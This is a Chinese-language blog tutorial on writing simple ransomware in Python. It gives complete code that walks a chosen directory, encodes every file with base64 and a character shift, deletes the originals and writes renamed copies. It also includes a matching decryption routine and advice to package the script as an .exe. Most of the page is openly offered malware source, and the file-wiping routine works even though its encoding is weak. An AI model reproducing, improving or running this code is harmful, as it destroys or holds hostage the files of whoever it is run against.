利用python制作简单勒索病毒

  • 前置

def list(src):
    res = []
    for root, dirs, files in os.walk(src): #获取父目录,子目录,文件
        for file in files:
            # 获取文件所属目录
            # print(root)
            # 获取文件路径
            res.append(os.path.join(root, file)) #把父目录和文件合成一个路径
    return res
  • 加密

def ran_encode(res):
    for r in res:
        # print(re)
        with open(r, 'rb') as fp:
            src = fp.read()
        bs = base64.b64encode(src).decode()   #读取并用base64加密
        se = ''
        for b in bs:
            new = chr(ord(b) + 5)   #转换成acsii码进行位移
            se += new
        # print(type(re))
        os.remove(r)
        name = '123'
        with open(r+name, 'wb') as fp:   #覆写
            fp.write(se.encode())
  • 解密

def ran_decode(res):
    for r in res:
        with open(r, 'r') as fp:
            src = fp.read()
        se = ''
        for b in src:
            new = chr(ord(b) - 5)
            se += new
        resp = base64.b64decode(se)
        s=r[0:-3]
        os.remove(r)
        with open(s,'wb') as fp:
            fp.write(resp)
path=r"需要勒索的目录,绝对路径"
def intes():
    res=list(path)
    ran_encode(res)
def outs():
    src1 = list(path)
    ran_decode(src1)
  • 可以使用python打包的扩展包变成.exe文件进行尝试

你可能感兴趣的:(python,开发语言,网络安全)